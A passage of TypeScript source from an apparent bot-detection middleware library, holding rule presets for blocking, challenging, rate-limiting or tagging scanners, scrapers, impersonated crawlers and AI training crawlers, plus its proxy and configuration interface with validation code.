id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified security scanner.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n { id: \"http-client-challenge\", match: { botClass: \"http-client\" }, action: \"challenge\", reason: \"Bare HTTP client. Challenge rather than block: it may well be your own integration.\" },\n { id: \"scraper-ratelimit\", match: { botClass: \"scraper\" }, action: \"rate-limit\", params: { limit: { max: 60, windowMs: 60_000 } }, reason: \"Behaves like bulk extraction. Rate-limited rather than refused.\" },\n { id: \"declared-bot-tag\", match: { botClass: \"declared-bot\" }, action: \"tag\", reason: \"Announced itself honestly. Tagged so downstream can decide.\" },\n { id: \"suspected-challenge\", match: { verdict: \"suspected-bot\", minScore: 70 }, action: \"challenge\", reason: \"Several probabilistic signals agree. A challenge the client can pass on its own.\" },\n { id: \"suspected-tag\", match: { verdict: \"suspected-bot\" }, action: \"tag\", reason: \"Some signal, not enough to act on.\" },\n ];\n}\n\n/**\n * For an application whose value is in its data — pricing, listings, inventory.\n *\n * The distinguishing move is that AI and SEO crawlers are challenged rather than\n * allowed. That is a business decision rather than a security one, and it is exactly\n * the kind of decision that should be a visible rule you can point at.\n */\nexport function protectData(): Rule[] {\n return [\n { id: \"cleared-human-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this is a person. Nothing below should second-guess that.\" },\n { id: \"search-crawler-allow\", match: { verdict: \"verified-bot\", category: [\"search\", \"social\"] }, action: \"allow\", reason: \"Confirmed search or social crawler — keeps your listings findable and your share cards rendering.\" },\n { id: \"ai-crawler-block\", match: { category: \"ai\", certain: true }, action: \"block\", params: { status: 403, body: \"This site does not permit automated collection. See /robots.txt.\" }, reason: \"Self-declared AI crawler. Declined by policy, not by suspicion.\" },\n { id: \"seo-crawler-block\", match: { category: \"seo\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-declared SEO crawler. Declined by policy.\" },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable crawler identity.\" },\n { id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified scanner.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n // Verdicts, not bare certainty: `{ certain: true }` alone would also match a\n // proven human, and challenging a customer you just vouched for is worse than\n // useless.\n { id: \"any-proven-automation-challenge\", match: { verdict: [\"confirmed-bot\", \"verified-bot\"], certain: true }, action: \"challenge\", reason: \"Proven automation of some kind. Challenged so a legitimate integration can carry on.\" },\n { id: \"suspected-challenge\", match: { verdict: \"suspected-bot\", minScore: 55 }, action: \"challenge\", reason: \"Enough signal to ask the client to prove it runs a browser.\" },\n { id: \"listing-endpoints-ratelimit\", match: { path: [\"/api/\", \"/search\"], maxScore: 54 }, action: \"rate-limit\", params: { limit: { max: 120, windowMs: 60_000 } }, reason: \"Broad ceiling on the endpoints worth scraping, applied to everyone equally.\" },\n ];\n}\n\n/**\n * For login, signup, password reset, checkout and anything else where automation is\n * expensive to be wrong about in both directions.\n *\n * **Mount this on those routes only.** Applied site-wide it blocks your payment\n * webhooks, your own server-side renderer and every honest crawler you have — all of\n * which are proven automation, which is exactly what this preset refuses. That is\n * correct behaviour on a login form and an outage anywhere else; the traffic corpus\n * catches it, and it is the kind of mistake whose symptom is a support ticket about\n * missing orders three days later.\n *\n * ```ts\n * app.use(\"/login\", botHandler(authDetector));\n * app.use(\"/checkout\", botHandler(authDetector));\n * ```\n *\n * The unusual choice here is `delay` on merely-suspected traffic. A quarter of a\n * second is imperceptible to a person filling in a form and ruinous to a credential\n * stuffer working through a list — and, unlike a challenge, it excludes nobody.\n */\nexport function protectAuth(): Rule[] {\n return [\n { id: \"cleared-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this is an authenticated person.\" },\n { id: \"proven-bot-block\", match: { certain: true, botClass: [\"http-client\", \"automation\", \"scanner\", \"impersonator\"] }, action: \"block\", params: { status: 403 }, reason: \"Proven automation on an authentication endpoint.\" },\n { id: \"declared-bot-block\", match: { certain: true, botClass: \"declared-bot\" }, action: \"block\", params: { status: 403 }, reason: \"Crawlers have no business on an auth endpoint, however well-behaved.\" },\n { id: \"suspected-challenge\", match: { verdict: \"suspected-bot\", minScore: 60 }, action: \"challenge\", reason: \"Suspected automation on a sensitive endpoint.\" },\n { id: \"everything-else-delay\", match: { method: \"POST\" }, action: \"delay\", params: { delayMs: 250 }, reason: \"A uniform quarter-second on every credential submission. Imperceptible to a person, and it removes the throughput a stuffing attack depends on.\" },\n ];\n}\n\n/**\n * For a publisher whose problem is being *found*, not being scraped.\n *\n * The distinguishing move is that it allows more than it stops, explicitly and by\n * name. Verified crawlers are allowed ahead of everything; declared benign\n * automation — link unfurlers, feed readers, uptime monitors, the specialist search\n * fleets — is allowed rather than merely tolerated; and the only things refused are\n * the three that are refused everywhere, because they are proven and cannot be\n * anything else.\n *\n * Reach for this when a bot policy has already cost you traffic, or when the site's\n * whole purpose is to be indexed, quoted and shared. The cost is honest: bulk\n * extraction gets rate-limited rather than challenged, so a determined scraper will\n * get your content. On a site that wants to be read, that was always going to be\n * true; what this preset refuses to do is trade away your search traffic to make it\n * slightly less true.\n */\nexport function allowCrawlers(): Rule[] {\n return [\n { id: \"cleared-human-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this is a person.\" },\n { id: \"verified-crawler-allow\", match: { verdict: \"verified-bot\" }, action: \"allow\", reason: \"Identity confirmed against the operator's DNS or published ranges. This is the traffic that brings you readers.\" },\n {\n id: \"benign-crawler-allow\",\n match: { certain: true, category: [\"search\", \"social\", \"feed\", \"archive\", \"monitoring\", \"advertising\"] },\n action: \"allow\",\n reason: \"A self-declared crawler from a category that exists to bring people to you, or to tell you when you are down.\",\n },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable third-party crawler identity. Proven by DNS, not inferred.\" },\n { id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified security scanner.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n { id: \"scraper-ratelimit\", match: { botClass: \"scraper\" }, action: \"rate-limit\", params: { limit: { max: 120, windowMs: 60_000 } }, reason: \"Bulk extraction, slowed rather than refused.\" },\n { id: \"everything-else-tag\", match: {}, action: \"tag\", reason: \"Tagged so your application, cache or edge can decide for itself. Nothing is withheld here.\" },\n ];\n}\n\n/**\n * Keep the search engines. Decline the model trainers.\n *\n * This is the policy question of the moment, and it is a *business* decision rather\n * than a security one — which is exactly the kind of decision this library thinks\n * should be a visible rule you can point at rather than a threshold somebody tuned.\n *\n * The split it draws is the one the AI crawlers themselves publish. A crawler\n * collecting a training corpus and a crawler fetching one page because a person asked\n * a question about it are different jobs, often from the same operator under different\n * product tokens, and a policy that cannot tell them apart either feeds the trainers or\n * breaks the citations. Here the training fleet is declined and everything else is\n * served.\n *\n * **`robots.txt` is the primary mechanism, not this.** The crawlers named here honour\n * it, and a rule that blocks a crawler nobody told is a rule that produces load and no\n * compliance. Generate the file from this policy — `robotsFromRules(declineAiTraining())`\n * — publish it, and treat these rules as what happens to the ones that ignore it.\n */\nexport function declineAiTraining(): Rule[] {\n return [\n { id: \"cleared-human-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this is a person.\" },\n { id: \"search-crawler-allow\", match: { verdict: \"verified-bot\", category: [\"search\", \"social\"] }, action: \"allow\", reason: \"Confirmed search or social crawler — the traffic you are keeping.\" },\n {\n id: \"ai-user-fetch-allow\",\n match: { certain: true, identity: [\"chatgpt-user\", \"perplexitybot\", \"oai-searchbot\", \"claudebot\", \"mistral-ai\", \"duckduckbot\"] },\n action: \"tag\",\n reason: \"Fetching one page because a person asked about it, or indexing for a search product. This is a citation, not a corpus — served and tagged.\",\n },\n {\n id: \"ai-training-block\",\n match: { certain: true, category: \"ai\" },\n action: \"block\",\n params: { status: 403, body: \"This site is not available for automated collection or model training. See /robots.txt.\\n\" },\n reason: \"Self-declared AI crawler collecting at scale. Declined by policy, not by suspicion — and said plainly, so the operator can act on it.\",\n },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable crawler identity — including a forged AI crawler, which is what a declined one comes back as.\" },\n { id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified security scanner.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n { id: \"unknown-scraper-challenge\", match: { botClass: \"scraper\" }, action: \"challenge\", reason: \"Bulk extraction that declared nothing. A challenge, because an undeclared scraper is exactly the shape of a trainer that stopped announcing itself.\" },\n { id: \"suspected-tag\", match: { verdict: \"suspected-bot\" }, action: \"tag\", reason: \"Some signal, not enough to act on.\" },\n ];\n}\n\n/**\n * For a JSON API rather than a site.\n *\n * One difference drives the whole shape of this preset: **a challenge is useless\n * here.** A proof-of-work interstitial is solved by a browser running JavaScript, and\n * an API client is not one. Challenging your customers' integrations does not slow an\n * attacker down; it breaks the integrations and leaves the attacker to solve it once\n * in a headless browser. So the escalation ladder is rate limiting, and the terminal\n * actions stay where they always are — on proof.\n *\n * The second difference is about what bot detection is *for* on an API. Your\n * authentication is the control that matters, and it already knows who the caller is.\n * This preset therefore tags everything, so your own handlers can combine a verdict\n * with a key, a plan and a quota; it does not try to be the access control.\n *\n * A bare HTTP client is not suspicious here — it is the normal case, and the rule that\n * challenges one on a content site is deliberately absent.\n */\nexport function protectApi(): Rule[] {\n return [\n { id: \"cleared-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application asserted this caller is a person.\" },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable third-party identity.\" },\n { id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified security scanner. An API is what they are looking for.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n {\n id: \"crawler-ratelimit\",\n match: { certain: true, botClass: [\"declared-bot\", \"scraper\"] },\n action: \"rate-limit\",\n params: { limit: { max: 60, windowMs: 60_000 } },\n reason: \"A crawler on an API endpoint. Not refused — plenty of these are somebody's honest integration — but held to a rate.\",\n },\n {\n id: \"suspected-ratelimit\",\n match: { verdict: \"suspected-bot\", minScore: 70 },\n action: \"rate-limit\",\n params: { limit: { max: 120, windowMs: 60_000 } },\n // Deliberately not a challenge: see the doc comment. This is the rule people\n // copy from a content preset and then wonder why their customers' scripts broke.\n reason: \"Several probabilistic signals agree. Rate-limited rather than challenged, because a legitimate API client cannot solve a challenge.\",\n },\n { id: \"tag-everything\", match: {}, action: \"tag\", reason: \"Every request carries its verdict to your handlers, where the API key and the plan are. That is where an API decides things.\" },\n ];\n}\n\n/**\n * For while it is happening.\n *\n * A deliberately impatient posture for an incident: a scrape in progress, a stuffing\n * run, a scanner sweeping the range. Everything proven is refused, everything\n * suspected is challenged at a much lower bar than usual, and *everyone* — including\n * the people — is rate-limited, because a uniform ceiling is the one mitigation that\n * cannot single anybody out.\n *\n * Three things to be clear about before turning it on.\n *\n * **It is temporary.** Nothing here is a good permanent policy: the low challenge\n * threshold will interrupt real people on unusual browsers, and the uniform rate limit\n * will interrupt your keenest readers. Turn it on during an incident, turn it off\n * afterwards, and put it behind a switch you can flip without a deploy —\n * `updatePolicy()` and the dashboard's editor exist for exactly this.\n *\n * **It still cannot deny anyone on a guess.** The guard applies here as everywhere\n * else: the `challenge` on suspicion is a challenge because that is as far as\n * unproven evidence may go, and asking for a block instead would simply be refused\n * and recorded. An incident is precisely when people reach for `falsePositivePolicy:\n * \"aggressive\"`, and precisely when the population getting caught is at its most\n * unusual.\n *\n * **It is not DDoS protection.** This runs inside your process, after the connection\n * has been accepted. Volume that hurts you at the network layer needs handling at the\n * network layer; what this reduces is the *usefulness* of the traffic to whoever is\n * sending it.\n *\n * And one practical warning the traffic corpus makes concrete: like `protect-auth`,\n * this refuses proven automation, so **your own webhooks, health probes and\n * server-side renderer are refused too** — thirteen of the corpus's infrastructure\n * cases are, under this policy. Allowlist their addresses *before* you switch it on,\n * not during the incident when you notice.\n */\nexport function underAttack(): Rule[] {\n return [\n { id: \"cleared-human-allow\", match: { verdict: \"human\", certain: true }, action: \"allow\", reason: \"Your application vouched for this person. Even now, that comes first.\" },\n { id: \"verified-crawler-allow\", match: { verdict: \"verified-bot\" }, action: \"allow\", reason: \"A confirmed crawler is not what is attacking you, and losing your search traffic during an incident makes the incident worse.\" },\n { id: \"impersonator-block\", match: { botClass: \"impersonator\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Forged a verifiable crawler identity.\" },\n { id: \"scanner-block\", match: { botClass: \"scanner\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Self-identified security scanner.\" },\n { id: \"trap-block\", match: { detector: \"trap\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Followed a link no person can reach.\" },\n { id: \"proven-automation-block\", match: { verdict: \"confirmed-bot\", certain: true }, action: \"block\", params: { status: 403 }, reason: \"Proven automation of some kind. During an incident, a declaration is enough.\" },\n {\n id: \"suspected-challenge\",\n match: { verdict: \"suspected-bot\", minScore: 40 },\n action: \"challenge\",\n reason: \"A much lower bar than usual, and still a challenge rather than a block — the client can pass it on its own, which is what makes lowering the bar survivable.\",\n },\n {\n id: \"everyone-ratelimit\",\n match: {},\n action: \"rate-limit\",\n params: { limit: { max: 30, windowMs: 60_000 } },\n reason: \"A ceiling that applies to everybody equally, which is the only mitigation that cannot be wrong about who somebody is.\",\n },\n ];\n}\n\n/** Every preset by name, for config-driven setups. */\nexport const PRESETS = {\n \"monitor-only\": monitorOnly,\n \"allow-crawlers\": allowCrawlers,\n \"protect-content\": protectContent,\n \"decline-ai-training\": declineAiTraining,\n \"protect-data\": protectData,\n \"protect-api\": protectApi,\n \"protect-auth\": protectAuth,\n \"under-attack\": underAttack,\n} as const;\n\nexport type PresetName = keyof typeof PRESETS;\n","import { IpRangeSet, normalizeIp, parseIp } from \"./internal/ip.js\";\nimport { statelessPattern } from \"./internal/pattern.js\";\nimport { systemClock } from \"./internal/clock.js\";\nimport { defaultDetectors } from \"./detectors/index.js\";\nimport { BOT_SIGNATURES } from \"./detectors/known-bots.js\";\nimport { ACTION_NAMES } from \"./policy/types.js\";\nimport { PRESETS } from \"./policy/presets.js\";\nimport type { PresetName } from \"./policy/presets.js\";\nimport type { Clock } from \"./internal/clock.js\";\nimport type { DnsResolver } from \"./internal/dns.js\";\nimport type { Detector } from \"./detectors/types.js\";\nimport type { BotSignature } from \"./detectors/known-bots.js\";\nimport type { ActionParams, FalsePositivePolicy, Rule } from \"./policy/types.js\";\nimport type { CustomHandler } from \"./actions/types.js\";\nimport type { BotHandlerStore } from \"./stores/types.js\";\nimport type { AuditOptions, TrafficAnomaly } from \"./audit.js\";\nimport type { Decision } from \"./policy/types.js\";\nimport type { MetricsOptions } from \"./metrics.js\";\nimport type { NotificationOptions } from \"./notify/hub.js\";\nimport type { ChallengeOptions } from \"./challenge/index.js\";\nimport type { Assessment, RequestFacts } from \"./types.js\";\n\n/**\n * How the client address is recovered from behind a proxy.\n *\n * This is the highest-consequence configuration in the library and the easiest to get\n * wrong, so it has no convenient default: `trustProxy` is off, and with it off the\n * socket address is used and `X-Forwarded-For` is ignored entirely.\n *\n * The reason is that `X-Forwarded-For` is a *client-supplied header*. If you trust it\n * without knowing how many proxies actually sit in front of you, anyone can prepend a\n * fake hop and choose the address you rate-limit, allowlist and block on. The\n * failure is silent, and it turns every per-actor mechanism here into an attacker\n * input. Configure `trustedProxies` if you can — it is the only variant that does not\n * depend on getting a number right.\n */\nexport interface ProxyConfig {\n /** Read the forwarded header at all. Default false. */\n trustProxy?: boolean;\n /**\n * CIDRs of proxies you operate. The header is walked from the right, discarding\n * addresses inside these ranges, and the first address outside them is the client.\n * Robust against an extra hop appearing, and the recommended setting.\n *\n * The connecting peer counts as the first hop and is checked the same way. A\n * request that arrives from outside these ranges did not come through your proxies,\n * so its forwarded header is not evidence of anything and the socket address is\n * used instead — which is what makes this variant safe on a server that is\n * reachable both through the load balancer and directly.\n */\n trustedProxies?: readonly string[];\n /**\n * How many proxies sit in front of this process, when you cannot enumerate them.\n * The Nth address from the right is taken. Default 1.\n *\n * If the chain turns out to be shorter than this, the socket address is used\n * instead: a short chain means the request did not come through the expected\n * topology, and every entry in it is then client-controlled. Prefer\n * `trustedProxies`, which does not depend on getting a count right.\n */\n hops?: number;\n /** Header carrying the chain. Default `\"x-forwarded-for\"`. */\n header?: string;\n}\n\nexport interface BotHandlerConfig {\n /** Replaces the built-in detector set entirely. */\n detectors?: readonly Detector[];\n /** Appended to the built-in set. Ignored when `detectors` is given. */\n extraDetectors?: readonly Detector[];\n\n /** A named starting policy. Combined with `rules`, which are evaluated first. */\n preset?: PresetName;\n /** Your own rules, evaluated before any preset's. */\n rules?: readonly Rule[];\n /** Action when nothing matches. Default `allow`. */\n defaultAction?: import(\"./policy/types.js\").ActionName;\n defaultActionParams?: ActionParams;\n /** How strictly terminal actions are gated. Default `strict`. See {@link FalsePositivePolicy}. */\n falsePositivePolicy?: FalsePositivePolicy;\n /** Substituted when the guard blocks a terminal action. Default `challenge`. */\n fallbackAction?: import(\"./policy/types.js\").ActionName;\n /** Score needed for a terminal action under `balanced`. Default 85. */\n terminalScoreThreshold?: number;\n\n /** Score at or above which an unproven request is `suspected-bot`. Default 60. */\n suspectThreshold?: number;\n /**\n * Reject `certain` evidence that carries no `deterministicBasis`. Defaults to true\n * unless `NODE_ENV` is `production`, where it downgrades to a warning so a\n * third-party detector cannot take a live site down.\n */\n strictEvidence?: boolean;\n\n /** Addresses and CIDRs exempt from detection entirely. Your monitors, your office, your CI. */\n allowlist?: readonly string[];\n /** Addresses and CIDRs treated as proven automation. An explicit local decision. */\n denylist?: readonly string[];\n /** Hosting-provider ranges. Supply your own; none ships with the library. */\n datacenterRanges?: readonly string[];\n /** Published crawler ranges, keyed by signature id, e.g. `{ gptbot: [\"1.2.3.0/24\"] }`. */\n crawlerRanges?: Readonly<Record<string, readonly string[]>>;\n\n proxy?: ProxyConfig;\n /**\n * Derives the key an actor is tracked under. Defaults to the client address.\n *\n * Worth replacing. An address is a poor identity — shared by a whole office,\n * changed by a phone every few minutes — and every behavioural detector is only as\n * good as this function. A session id, an authenticated user id, or an address\n * combined with a TLS fingerprint all make the same detectors much sharper.\n */\n actorKey?: (facts: RequestFacts) => string;\n /** Paths detection skips entirely: health checks, your own polling endpoints, static assets. */\n ignorePaths?: readonly (string | RegExp)[];\n\n /**\n * Lets your application declare a request human — an authenticated session, a\n * completed payment, whatever bar you set. Produces `certain` human evidence, the\n * only conclusive human signal available, because it comes from you and not from\n * the client.\n */\n isHuman?: (facts: RequestFacts) => boolean;\n\n /** Enables the challenge action. Without it, rules asking for one degrade to `tag`. */\n challenge?: Omit<ChallengeOptions, \"store\" | \"clock\">;\n store?: BotHandlerStore;\n /**\n * Share `priorConfirmations` between replicas through the store. Default false.\n *\n * Behavioural state is process-local by design — see `state.ts` — because a round\n * trip per request would buy accuracy for signals that are only ever allowed to raise\n * suspicion. A **confirmation is not one of those.** `confirmed-bot` is a proven\n * verdict: something declared itself, forged an identity, or walked into a trap. That\n * is a fact about the client rather than a judgement about it, and behind eight\n * replicas a fact established on one of them is unknown to the other seven — so a\n * rule reading `minPriorConfirmations: 1` fires roughly an eighth as often as it\n * reads.\n *\n * So proof travels and suspicion stays home. The cost is one store read the **first\n * time each instance sees an actor** — not one per request — and it is never awaited:\n * the request that triggered it is judged with whatever arrived before the detectors\n * finished, and every request after it has the number. A store outage means the count\n * falls back to what this process saw itself, which is where it was before.\n *\n * Needs a shared `store`. With the default in-memory one there is nothing to share\n * with, and setting this does nothing at all.\n */\n shareConfirmations?: boolean;\n notifications?: NotificationOptions;\n handlers?: readonly CustomHandler[];\n\n /** Replaces the built-in signature database. */\n signatures?: readonly BotSignature[];\n /** Appended to the built-in database. */\n extraSignatures?: readonly BotSignature[];\n\n /** Budget for each `io` detector, ms. Default 300. Exceeding it drops that detector, not the request. */\n detectorTimeoutMs?: number;\n /** How long an idle actor is remembered, ms. Default 900000. */\n actorWindowMs?: number;\n /**\n * Maximum actors tracked concurrently. Default 20000.\n *\n * This is a memory budget: see the cap arithmetic in `state.ts`. Past the limit the\n * least recently seen actor is evicted, never one still sending traffic.\n */\n maxActors?: number;\n\n /**\n * Put verdict headers on the *response*. Default false.\n *\n * Leave it off in production. An `X-Bot-Score` in the response is a live feedback\n * signal for anyone tuning a scraper against you — they change one header, watch\n * the number fall, and iterate. Request-side tagging gives your application the\n * same information and tells the client nothing.\n */\n exposeVerdictHeaders?: boolean;\n\n /**\n * Collect counters. Default true — see {@link BotHandler.metrics}. Switching it off\n * saves a few integer increments per request and costs you the ability to see what\n * your policy is doing.\n */\n metrics?: boolean | MetricsOptions;\n\n /**\n * Watches the *shape* of your traffic and raises {@link BotHandlerConfig.onAnomaly}\n * when it changes. `false` switches it off; the default is on with the shipped\n * checks. See {@link AuditOptions}.\n */\n audit?: AuditOptions | false;\n\n resolver?: DnsResolver;\n clock?: Clock;\n\n // --- Hooks -----------------------------------------------------------------\n //\n // Every one of these mirrors an event on {@link BotHandler.on}: the config form is\n // the convenient one, the emitter form is the one you can subscribe to later, or\n // more than once, or unsubscribe from. They are the same mechanism, so a handler\n // registered either way is isolated the same way — one that throws is reported\n // through `onError` and never reaches the request.\n //\n // None of them is awaited. Returning a promise is fine and its rejection is\n // reported, but the response does not wait for your webhook.\n\n /** Every assessment, including the ones that concluded nothing. The firehose. */\n onAssessment?: (assessment: Assessment) => void;\n /** Every decision, paired with the assessment behind it. */\n onDecision?: (event: { assessment: Assessment; decision: Decision }) => void;\n /** A request that was actually denied: `block`, `drop` or `redirect`. */\n onDenial?: (event: { assessment: Assessment; decision: Decision }) => void;\n /**\n * The safety guard replaced a terminal action with something recoverable.\n *\n * The most useful hook here, and the one worth paging on a rise in: it means your\n * rules are asking to deny requests the evidence does not prove.\n */\n onDowngrade?: (event: { assessment: Assessment; decision: Decision }) => void;\n /** A challenge was issued, solved or rejected. */\n onChallenge?: (event: { phase: \"issued\" | \"solved\" | \"rejected\"; actorKey?: string | undefined }) => void;\n /**\n * A detector threw or timed out. Operational: usually a resolver or a store, and a\n * rising rate means detection is degraded rather than that traffic changed.\n */\n onDetectorFailure?: (event: { detector: string; reason: string; message: string; requestId: string }) => void;\n /** The rule set was replaced at runtime. Your audit trail for {@link BotHandler.updatePolicy}. */\n onPolicyChange?: (event: { rules: readonly string[]; warnings: readonly string[]; by?: string | undefined }) => void;\n /**\n * The guard settings changed at runtime — `falsePositivePolicy`, `fallbackAction`,\n * `defaultAction`, `terminalScoreThreshold` or `suspectThreshold`.\n *\n * Worth its own hook rather than folding into `onPolicyChange`: this is the change\n * that decides whether an unproven verdict can deny anybody, and it is the one an\n * audit trail wants named. Both the before and the after travel with it.\n */\n onGuardChange?: (event: {\n before: import(\"./policy/policy.js\").GuardSettings & { suspectThreshold: number };\n after: import(\"./policy/policy.js\").GuardSettings & { suspectThreshold: number };\n by?: string | undefined;\n }) => void;\n /**\n * A range set was replaced at runtime.\n *\n * The allowlist is the one worth watching: an address on it is not judged leniently,\n * it is not judged at all, so a change to it changes what your bot handling can see.\n */\n onRangeChange?: (event: { name: string; size: number; entries: readonly string[]; by?: string | undefined }) => void;\n /** An actor's behavioural memory was forgotten, or the actor was cleared as human. */\n onActorChange?: (event: { key: string; action: \"forget\" | \"clear\"; until?: number | undefined; by?: string | undefined }) => void;\n /** The audit noticed the traffic change shape. See {@link AuditOptions}. */\n onAnomaly?: (anomaly: TrafficAnomaly) => void;\n\n /** Called when a detector, sink or store fails. Wire it to your logs. */\n onError?: (error: unknown, context: { source: string }) => void;\n /** Called on a misconfiguration noticed at runtime. Wire it to your logs. */\n onWarning?: (message: string) => void;\n}\n\nexport interface ResolvedConfig {\n detectors: Detector[];\n rules: Rule[];\n ranges: Map<string, IpRangeSet>;\n signatures: readonly BotSignature[];\n proxy: Required<Omit<ProxyConfig, \"trustedProxies\">> & { trustedProxies: IpRangeSet | undefined };\n actorKey: (facts: RequestFacts) => string;\n ignorePaths: readonly (string | RegExp)[];\n suspectThreshold: number;\n strictEvidence: boolean;\n detectorTimeoutMs: number;\n actorWindowMs: number;\n maxActors: number;\n exposeVerdictHeaders: boolean;\n clock: Clock;\n onError: (error: unknown, context: { source: string }) => void;\n onWarning: (message: string) => void;\n /** Problems found while resolving. Fatal ones throw; these are advisory. */\n warnings: string[];\n}\n\n/**\n * Checks a rule list for the mistakes that are silent at runtime.\n *\n * Shared with {@link BotHandler.updatePolicy}, because rules can now be replaced while\n * the process runs and a list swapped in from a dashboard deserves the same reading\n * as one written in a config file. Structural problems throw; problems that merely\n * make a rule useless are returned as warnings, since a policy that refuses to load\n * over a dead rule is worse than one that says so.\n */\nexport function validateRules(rules: readonly Rule[]): string[] {\n const warnings: string[] = [];\n const seen = new Set<string>();\n\n for (const rule of rules) {\n if (typeof rule.id !== \"string\" || rule.id.trim().length === 0) {\n throw new ConfigError(\"Every rule needs a non-empty id: it is what every decision, log line and metric names.\");\n }\n if (typeof rule.action !== \"string\" || !VALID_ACTIONS.has(rule.action)) {\n throw new ConfigError(`Rule \"${rule.id}\" has action \"${String(rule.action)}\", which is not one of: ${ACTION_NAMES.join(\", \")}.`);\n }\n if (rule.match === undefined || rule.match === null || (typeof rule.match !== \"function\" && typeof rule.match !== \"object\")) {\n throw new ConfigError(`Rule \"${rule.id}\" has no match. Use a spec object, or a predicate function for anything a spec cannot express.`);\n }\n if (rule.action === \"custom\" && rule.params?.handler === undefined) {\n throw new ConfigError(`Rule \"${rule.id}\" asks for the custom action but names no handler in params.handler.`);\n }\n if (seen.has(rule.id)) warnings.push(`Two rules share the id \"${rule.id}\"; only the first can ever match, and decisions naming it will be ambiguous in your logs.`);\n seen.add(rule.id);\n }\n\n return warnings;\n}\n\nconst VALID_ACTIONS: ReadonlySet<string> = new Set<string>(ACTION_NAMES);\n\nexport class ConfigError extends Error {\n override readonly name = \"ConfigError\";\n}\n\n/**\n * Validates and normalises configuration.\n *\n * Invalid input throws here, at construction, rather than degrading quietly at\n * request time. A mistyped CIDR that silently matches nothing is a security control\n * that looks configured and is not — the worst possible state to be in, because\n * everything appears to be working.\n */\nexport function resolveConfig(config: BotHandlerConfig = {}): ResolvedConfig {\n const warnings: string[] = [];\n\n const detectors = config.detectors ? [...config.detectors] : [...defaultDetectors(), ...(config.extraDetectors ?? [])];\n const seen = new Set<string>();\n for (const detector of detectors) {\n if (seen.has(detector.id)) {\n throw new ConfigError(`Two detectors share the id \"${detector.id}\". Ids appear in evidence and in rules, so they must be unique.`);\n }\n seen.add(detector.id);\n }\n\n const rules: Rule[] = [...(config.rules ?? [])];\n if (config.preset !== undefined) {\n const preset = PRESETS[config.preset];\n if (!preset) throw new ConfigError(`Unknown preset \"${config.preset}\". Available: ${Object.keys(PRESETS).join(\", \")}.`);\n rules.push(...preset());\n }\n warnings.push(...validateRules(rules));\n\n const ranges = new Map<string, IpRangeSet>();\n addRange(ranges, \"allowlist\", config.allowlist);\n addRange(ranges, \"denylist\", config.denylist);\n addRange(ranges, \"datacenter\", config.datacenterRanges);\n for (const [id, entries] of Object.entries(config.crawlerRanges ?? {})) {\n addRange(ranges, `crawler:${id}`, entries);\n }\n\n const signatures = config.signatures ?? [...BOT_SIGNATURES, ...(config.extraSignatures ?? [])];\n\n const proxyConfig = config.proxy ?? {};\n const trustedProxies = proxyConfig.trustedProxies ? new IpRangeSet(proxyConfig.trustedProxies) : undefined;\n if (trustedProxies && trustedProxies.invalid.length > 0) {\n throw new ConfigError(`proxy.trustedProxies contains entries that are not valid addresses or CIDRs: ${trustedProxies.invalid.join(\", \")}`);\n }\n if (proxyConfig.trustProxy === true && trustedProxies === undefined && proxyConfig.hops === undefined) {\n warnings.push(\n \"proxy.trustProxy is on with neither `trustedProxies` nor `hops` set, so exactly one proxy hop is assumed. If the real number differs, clients can choose the address this library rate-limits, allowlists and blocks on. Prefer `trustedProxies`.\",\n );\n }\n if (proxyConfig.trustProxy !== true && (trustedProxies !== undefined || proxyConfig.hops !== undefined)) {\n warnings.push(\"proxy.trustedProxies / proxy.hops are configured but proxy.trustProxy is not enabled, so the forwarded header is ignored and the socket address is used.\");\n }\n\n const strictEvidence = config.strictEvidence ?? process.env[\"NODE_ENV\"] !== \"production\";\n const falsePositivePolicy = config.falsePositivePolicy ?? \"strict\";\n if (falsePositivePolicy === \"aggressive\") {\n warnings.push(\n \"falsePositivePolicy is 'aggressive': rules run exactly as written, and probabilistic evidence alone can deny a request. Real visitors will be turned away. Make sure you are notified when it happens and that the refusal tells people how to reach you.\",\n );\n }\n\n const actorKey = config.actorKey ?? ((facts: RequestFacts): string => facts.ip);\n\n const hops = proxyConfig.hops;\n if (hops !== undefined && (!Number.isInteger(hops) || hops < 1)) {\n throw new ConfigError(`proxy.hops must be a positive whole number of proxies; received ${String(hops)}. A fractional or negative count indexes 